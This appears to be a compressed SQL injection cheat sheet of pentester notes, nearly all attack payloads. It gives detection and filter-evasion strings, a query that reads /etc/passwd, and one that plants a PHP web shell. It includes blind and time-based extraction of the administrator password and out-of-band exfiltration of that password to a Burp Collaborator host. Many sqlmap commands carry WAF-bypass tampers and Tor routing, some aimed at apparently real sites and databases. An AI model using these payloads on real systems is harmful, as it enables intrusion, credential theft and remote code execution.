/?q=1/?q=1'/?q=1"/?q=[1]/?q[]=1/?q=1`/?q=1\/?q=1/*'*//?q=1/*!1111'*//?q=1'||'asd'||' <== concat string/?q=1' or '1'='1/?q=1 or 1=1/?q='or''='/?q=(1)or(0)=(1)
', ",'),"), (),., * /, <! -, -SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/
# MySQL:http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheethttps://websec.wordpress.com/2010/12/04/sqli-filter-evasion-cheat-sheet-mysql/# MSQQL:http://evilsql.com/main/page2.phphttp://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet# ORACLE:http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet# POSTGRESQL:http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet# Othershttp://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.htmlhttp://pentestmonkey.net/cheat-sheet/sql-injection/ingres-sql-injection-cheat-sheethttp://pentestmonkey.net/cheat-sheet/sql-injection/db2-sql-injection-cheat-sheethttp://pentestmonkey.net/cheat-sheet/sql-injection/informix-sql-injection-cheat-sheethttps://sites.google.com/site/0x7674/home/sqlite3injectioncheatsheethttp://rails-sqli.org/https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/
# Read fileUNION SELECT LOAD_FILE ("etc/passwd")--# Write a fileUNION SELECT "<? system($_REQUEST['cmd']); ?>" INTO OUTFILE "/tmp/shell.php"-
# Conditional Responses# Request with:Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4In the DDBB it does:SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4' - If exists, show content or “Welcome back”# To detect:TrackingId=x'+OR+1=1-- OKTrackingId=x'+OR+1=2-- KO# User admin existTrackingId=x'+UNION+SELECT+'a'+FROM+users+WHERE+username='administrator'-- OK# Password lengthTrackingId=x'+UNION+SELECT+'a'+FROM+users+WHERE+username='administrator'+AND+length(password)>1--# So, in the cookie header if first letter of password is greater than ‘m’, or ‘t’ or equal to ‘s’ response will be ok.xyz' UNION SELECT 'a' FROM Users WHERE Username = 'Administrator' and SUBSTRING(Password, 1, 1) > 'm'--xyz' UNION SELECT 'a' FROM Users WHERE Username = 'Administrator' and SUBSTRING(Password, 1, 1) > 't'--xyz' UNION SELECT 'a' FROM Users WHERE Username = 'Administrator' and SUBSTRING(Password, 1, 1) = 's'--z'+UNION+SELECT+'a'+FROM+users+WHERE+username='administrator'+AND+substring(password,6,1)='§a§'--# Force conditional responsesTrackingId=x'+UNION+SELECT+CASE+WHEN+(1=1)+THEN+to_char(1/0)+ELSE+NULL+END+FROM+dual-- RETURNS ERROR IF OKTrackingId=x'+UNION+SELECT+CASE+WHEN+(1=2)+THEN+to_char(1/0)+ELSE+NULL+END+FROM+dual-- RETURNS NORMALLY IF KOTrackingId='+UNION+SELECT+CASE+WHEN+(username='administrator'+AND+substr(password,3,1)='§a§')+THEN+to_char(1/0)+ELSE+NULL+END+FROM+users--;# Time delaysTrackingId=x'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--TrackingId=x'; IF (SELECT COUNT(username) FROM Users WHERE username = 'Administrator' AND SUBSTRING(password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--TrackingId=x'; IF (1=2) WAITFOR DELAY '0:0:10'--TrackingId=x'||pg_sleep(10)--TrackingId=x'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+substring(password,1,1)='§a§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--# Out-of-Band OAST (Collaborator)Asynchronous response# Confirm:TrackingId=x'+UNION+SELECT+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//x.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--# Exfil:TrackingId=x'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'[email protected]+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--TrackingId=x'+UNION+SELECT+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--
# A second-order SQL Injection, on the other hand, is a vulnerability exploitable in two different steps:1. Firstly, we STORE a particular user-supplied input value in the DB and2. Secondly, we use the stored value to exploit a vulnerability in a vulnerable function in the source code which constructs the dynamic query of the web application.# Example payload:X' UNION SELECT user(),version(),database(), 4 --X' UNION SELECT 1,2,3,4 --# For example, in a password reset query with user "User123' --":$pwdreset = mysql_query("UPDATE users SET password='getrekt' WHERE username='User123' — ' and password='[email protected]'");# Will be:$pwdreset = mysql_query("UPDATE users SET password='getrekt' WHERE username='User123'");# So you don't need to know the password.- User = ' or 'asd'='asd it will return always true- User = admin'-- probably not check the password
# Postsqlmap -r search-test.txt -p tfUPass# Getsqlmap -u "http://10.11.1.111/index.php?id=1" --dbms=mysql# Crawlsqlmap -u http://10.11.1.111 --dbms=mysql --crawl=3# Full auto - FORMSsqlmap -u 'http://10.11.1.111:1337/978345210/index.php' --forms --dbs --risk=3 --level=5 --threads=4 --batch# Columnssqlmap -u 'http://admin.cronos.htb/index.php' --forms --dbms=MySQL --risk=3 --level=5 --threads=4 --batch --columns -T users -D admin# Valuessqlmap -u 'http://admin.cronos.htb/index.php' --forms --dbms=MySQL --risk=3 --level=5 --threads=4 --batch --dump -T users -D adminsqlmap -o -u "http://10.11.1.111:1337/978345210/index.php" --data="username=admin&password=pass&submit=+Login+" --method=POST --level=3 --threads=10 --dbms=MySQL --users --passwords# SQLMAP WAF bypasssqlmap --level=5 --risk=3 --random-agent --user-agent -v3 --batch --threads=10 --dbssqlmap --dbms="MySQL" -v3 --technique U --tamper="space2mysqlblank.py" --dbssqlmap --dbms="MySQL" -v3 --technique U --tamper="space2comment" --dbssqlmap -v3 --technique=T --no-cast --fresh-queries --bannersqlmap -u http://www.example.com/index?id=1 --level 2 --risk 3 --batch --dbssqlmap -f -b --current-user --current-db --is-dba --users --dbssqlmap --risk=3 --level=5 --random-agent --user-agent -v3 --batch --threads=10 --dbssqlmap --risk 3 --level 5 --random-agent --proxy http://123.57.48.140:8080 --dbssqlmap --random-agent --dbms=MYSQL --dbs --technique=B"sqlmap --identify-waf --random-agent -v 3 --dbs1 : --identify-waf --random-agent -v 3 --tamper="between,randomcase,space2comment" --dbs2 : --parse-errors -v 3 --current-user --is-dba --banner -D eeaco_gm -T #__tabulizer_user_preferences --column --random-agent --level=5 --risk=3sqlmap --threads=10 --dbms=MYSQL --tamper=apostrophemask --technique=E -D joomlab -T anz91_session -C session_id --dumpsqlmap --tables -D miss_db --is-dba --threads="10" --time-sec=10 --timeout=5 --no-cast --tamper=between,modsecurityversioned,modsecurityzeroversioned,charencode,greatest --identify-waf --random-agentsqlmap -u http://192.168.0.107/test.php?id=1 -v 3 --dbms "MySQL" --technique U -p id --batch --tamper "space2morehash.py"sqlmap --banner --safe-url=2 --safe-freq=3 --tamper=between,randomcase,charencode -v 3 --force-ssl --dbs --threads=10 --level=2 --risk=2sqlmap -v3 --dbms="MySQL" --risk=3 --level=3 --technique=BU --tamper="space2mysqlblank.py" --random-agent -D damksa_abr -T admin,jobadmin,member --colusqlmap --wizardsqlmap --level=5 --risk=3 --random-agent --tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes --dbms=mssqlsqlmap -url www.site.ps/index.php --level 5 --risk 3 tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor --dbms=mssqlsqlmap -url www.site.ps/index.php --level 5 --risk 3 tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes --dbms=mssql# Tamper suggesterhttps://github.com/m4ll0k/Atlas--tamper "randomcase.py" --tor --tor-type=SOCKS5 --tor-port=9050 --dbs --dbms "MySQL" --current-db --random-agent--tamper "randomcase.py" --tor --tor-type=SOCKS5 --tor-port=9050 --dbs --dbms "MySQL" --current-db --random-agent -D "pache_PACHECOCARE" --tables--tamper "randomcase.py" --tor --tor-type=SOCKS5 --tor-port=9050 --dbs --dbms "MySQL" --current-db --random-agent -D "pache_PACHECOCARE" -T "edt_usuarios" --columns--tamper "randomcase.py" --tor --tor-type=SOCKS5 --tor-port=9050 --dbs --dbms "MySQL" --current-db --random-agent -D "pache_PACHECOCARE" -T "edt_usuarios" -C "ud,email,usuario,contra" --dump# Tamper listbetween.py,charencode.py,charunicodeencode.py,equaltolike.py,greatest.py,multiplespaces.py,nonrecursivereplacement.py,percent